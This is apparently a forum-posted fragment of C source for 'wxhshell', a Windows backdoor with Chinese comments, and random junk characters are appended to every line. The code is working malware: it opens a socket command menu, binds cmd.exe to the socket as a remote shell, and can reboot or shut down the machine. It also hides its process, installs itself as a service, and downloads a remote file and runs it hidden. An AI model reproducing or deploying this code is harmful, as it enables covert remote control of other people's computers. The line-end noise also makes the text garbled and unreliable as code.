    switch(cmd[0]) { RZ|HwYG  
  g{ v5mly  
  // 帮助 `  -[Bo  
  case '?': { C^,4`OI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &V#zkW  
    break; {yHB2=nI  
  } 0^&(u:~  
  // 安装 RO%tuU,-  
  case 'i': { K=c=/`E  
    if(Install()) c8-69hb?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sWsG,v_  
    else ;<kZfx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A3MZxu=':3  
    break; NF/Ti5y  
    } rwL=R,  
  // 卸载 %jZp9}h  
  case 'r': { v LBee>$  
    if(Uninstall()) \,l.p_<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|5Gv  
    else oEenm\ZI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Txt%nzIu  
    break; AB2mt:^  
    } \ W 'i0+  
  // 显示 wxhshell 所在路径 CGd[3}"  
  case 'p': { GJC!0{8;  
    char svExeFile[MAX_PATH]; *(d6Z#  
    strcpy(svExeFile,"\n\r"); s%N`  
      strcat(svExeFile,ExeFile); Mhv1K|4s  
        send(wsh,svExeFile,strlen(svExeFile),0); rL%]S&M9  
    break; >@)*S n9"  
    } HJfQ]p'nK2  
  // 重启 V8sH{R-  
  case 'b': { GUu\dl9WA'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~?AC:  
    if(Boot(REBOOT)) O t *K+^I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZDOF  
    else { 3$?9uMl#  
    closesocket(wsh); ;|>q zx  
    ExitThread(0); 0i8[=  
    } /nC{)s?S'  
    break; p}YI#f in/  
    } #Mj$o;SX  
  // 关机 ,7^d9v3t  
  case 'd': { r,2Xu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "x#]i aDjf  
    if(Boot(SHUTDOWN)) yu`KzIU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gp~yt0AU  
    else { v8=?HUDd  
    closesocket(wsh); {{V ;:+62  
    ExitThread(0); });cX$  
    } ^))PCn_zb  
    break; u}K5/hC  
    } 35Ai;mU'  
  // 获取shell je&dioZ>  
  case 's': { I~\O  
    CmdShell(wsh); /d0Q>v.g  
    closesocket(wsh); f >mhFy  
    ExitThread(0); Q`.'-iq  
    break; jo9J%vo  
  } `zdH1p^w  
  // 退出 N]1V1c$G*  
  case 'x': { T@;! yz}Pf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gw ~{V  
    CloseIt(wsh); Qg'c?[~W@  
    break; dtB[m^$  
    } ==%`e/~Y  
  // 离开 .S~@BI(|<  
  case 'q': { b#D9eJhS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2[jL^ XMM  
    closesocket(wsh); Jj2g5={  
    WSACleanup(); 2y3?!^$  
    exit(1); iYk':iv}S  
    break; x96qd%l/  
        } f{)+-8  
  } +7| [b  
  } ]Nnxnp  
.)LZ`Ge3F  
  // 提示信息 9{_8cpm4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b;S6'7Jf9  
} N]B)Fb  
  } fNmE,~  
@ SU8\:(U  
  return; X AQGG>  
} PT3>E5`Nu  
_Zh2eXWdjM  
// shell模块句柄 4bP13f  
int CmdShell(SOCKET sock) 2]L=s3  
{ (C,e6r Y  
STARTUPINFO si; R<"2%oY  
ZeroMemory(&si,sizeof(si)); %tT"`%(+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z;ZuS[ZA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T>d\%*Q+B  
PROCESS_INFORMATION ProcessInfo; C">`' G2  
char cmdline[]="cmd"; 3(1 ]FKZtt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b6 $,Xh  
  return 0; T!MZ+Ph`F  
} dZPW2yf  
x>}B#  
// 自身启动模式 )VNM/o%Q  
int StartFromService(void) lc]V\ 'e  
{ 10mK}HT>4B  
typedef struct }7K@e;YUg  
{ z8IPhE@  
  DWORD ExitStatus; ^;.T}c%N  
  DWORD PebBaseAddress; 4w 'lu"U  
  DWORD AffinityMask; `,+#!)  
  DWORD BasePriority; GxxDY]!  
  ULONG UniqueProcessId; ~|h lE z  
  ULONG InheritedFromUniqueProcessId; ful#Px6m  
}   PROCESS_BASIC_INFORMATION; FC6xFg^  
d:A}CBTSY  
PROCNTQSIP NtQueryInformationProcess; WrNLGkt  
Nwgu P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KacR?Al  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rVY?6OMkd  
t{!/#eQC  
  HANDLE             hProcess; )IQ*  
  PROCESS_BASIC_INFORMATION pbi; VM7 !0  
$H'8 #:[d_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^7.XGWQ)-  
  if(NULL == hInst ) return 0; 1n_;kaY  
Bp :~bHf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =-_)$GOI'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <0#^7Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;(7-WnU8N  
HN{zT&  
  if (!NtQueryInformationProcess) return 0; QIQfI05  
2Zy_5>~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R~)ybf{  
  if(!hProcess) return 0; nP<S6:s:  
wzd`l?o,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ejv%,q/T(  
cph~4wCS[U  
  CloseHandle(hProcess); 5y]io Jc9-  
wxE?3%.j\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {(4# )K2g%  
if(hProcess==NULL) return 0; Wbe0ZnM]  
C}q>YRubZ  
HMODULE hMod; .jA\f:u#  
char procName[255]; ld.7`)  
unsigned long cbNeeded; joqWh!kv7U  
uMvb-8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g5i#YW  
[]zua14F6  
  CloseHandle(hProcess);  A^ViDP  
!siWEzw  
if(strstr(procName,"services")) return 1; // 以服务启动 <?YA,"~  
9t?L\  
  return 0; // 注册表启动 _-O cc=Z  
} &iqw! ud  
~O{W;Cyh  
// 主模块 ;FU|7L$H  
int StartWxhshell(LPSTR lpCmdLine) }k7_'p&yk  
{ YGp)Oy}:  
  SOCKET wsl; /;Yy@oc  
BOOL val=TRUE; nU2V]-qY  
  int port=0; b0rX QMu  
  struct sockaddr_in door; \:Za[6  
=LI:S|[4  
  if(wscfg.ws_autoins) Install(); | f\D>Y%)  
?sXG17~Bm  
port=atoi(lpCmdLine); =\Iu$2r`  
Pz%~ST  
if(port<=0) port=wscfg.ws_port; &+01+-1hW  
9cG<hX9`F  
  WSADATA data; $e }n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l'6d4 DZ  
z\TLsx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^z~~VBv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /ylc*3e'4  
  door.sin_family = AF_INET; 9[VxskEh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0}]SUe^  
  door.sin_port = htons(port); uFG<UF  
qM",( Bh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]]2k}A[-I  
closesocket(wsl); wC`;f5->  
return 1;  w_Uh  
} ZSB?Y 1wG  
l+zb~  
  if(listen(wsl,2) == INVALID_SOCKET) { AOb]qc  
closesocket(wsl); L%t@,O#,  
return 1; E"qFXA>  
} <uci9-eC  
  Wxhshell(wsl); &w85[zs  
  WSACleanup(); )&,{?$.  
Qs9OC9X1  
return 0; ;h Hi@Z 9  
20tO#{Li  
} xq[Yg15d%  
fPqr6OYz  
// 以NT服务方式启动 Qhn;`9+L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zgamd1DJ[l  
{ })Yv9],6  
DWORD   status = 0; QM'X@  
  DWORD   specificError = 0xfffffff; p=Y>i 'CG  
;b0NGa(k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7 ^$;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <+v{GF#R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o&SSv W  
  serviceStatus.dwWin32ExitCode     = 0; z-r2!^q27  
  serviceStatus.dwServiceSpecificExitCode = 0; r2\c'9uH  
  serviceStatus.dwCheckPoint       = 0; -Q"hZ9  
  serviceStatus.dwWaitHint       = 0; T%IK/"N|+  
"& 25D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TQ ]dW  
  if (hServiceStatusHandle==0) return; Z9K})47T  
0N;%2=2_E  
status = GetLastError(); [ MyE2^  
  if (status!=NO_ERROR) UzG[:ic%  
{ mJ5H=&Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l dqLM  
    serviceStatus.dwCheckPoint       = 0; FwG!>  
    serviceStatus.dwWaitHint       = 0; <RXwM6G2  
    serviceStatus.dwWin32ExitCode     = status; pQa:pX  
    serviceStatus.dwServiceSpecificExitCode = specificError; ny*i+4Mb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O.QK"pKD\  
    return; FX}Gt=  
  } ezm&]F`  
@'6"7g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /=:j9FF  
  serviceStatus.dwCheckPoint       = 0; C! 9}  
  serviceStatus.dwWaitHint       = 0; ztll}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5B4Ssrs5W~  
} %,P >%'0  
*ZrSiIPP  
// 处理NT服务事件,比如:启动、停止 !t#F/C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WFTvOFj  
{ eiVC"0-c}  
switch(fdwControl) L|j%S  
{ !&^gaUa{  
case SERVICE_CONTROL_STOP: A7Po 3n%Q  
  serviceStatus.dwWin32ExitCode = 0; vB\]u.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !l@zT}i??  
  serviceStatus.dwCheckPoint   = 0; 7[pBUDA  
  serviceStatus.dwWaitHint     = 0; 9+=gke  
  { p@ NaD=9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QzvHm1,@  
  } oUZoj2G1  
  return; q5DEw&UZJ  
case SERVICE_CONTROL_PAUSE: H`9Uf)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~f\G68c  
  break; (p#0)C  
case SERVICE_CONTROL_CONTINUE: 88s/Q0l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8' DW#%  
  break; [iP#VM-N  
case SERVICE_CONTROL_INTERROGATE: };L ^w :  
  break; ^h' Sla  
}; $g0+,ll[6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]=pR  
} /YAJbr  
u\yVR$pQ  
// 标准应用程序主函数 w;6bD'.>;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Lh.b 5Q|  
{ M5357Q  
g4p  
// 获取操作系统版本 ] }|byo  
OsIsNt=GetOsVer(); SRIA*M.B}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ypOLp SYk  
^TY ;Zp  
  // 从命令行安装 "Jq8?FoT  
  if(strpbrk(lpCmdLine,"iI")) Install(); (V`Md\NL`  
i%m"@7.kk  
  // 下载执行文件 `F YjQ e"p  
if(wscfg.ws_downexe) { =@&cHY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s$ENFp7P  
  WinExec(wscfg.ws_filenam,SW_HIDE); EOj"V'!  
} \_V-A f{6  
/ P|fB]p  
if(!OsIsNt) { Fb`a~c~s  
// 如果时win9x,隐藏进程并且设置为注册表启动 '7^M{y/dU  
HideProc(); RD7^&  
StartWxhshell(lpCmdLine); sUJ%x#u}Fk  
} )SF}2?7e  
else b//B8^Eong  
  if(StartFromService()) x+8_4>,>Y7  
  // 以服务方式启动 afBE{  
  StartServiceCtrlDispatcher(DispatchTable); Ysq'2  
else {9Y+.46S  
  // 普通方式启动 ?'86d_8  
  StartWxhshell(lpCmdLine); 3<?   
S{pXs&4O  
return 0; ~c^>54  
}
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只看该作者 1 发表于: 2006-10-10
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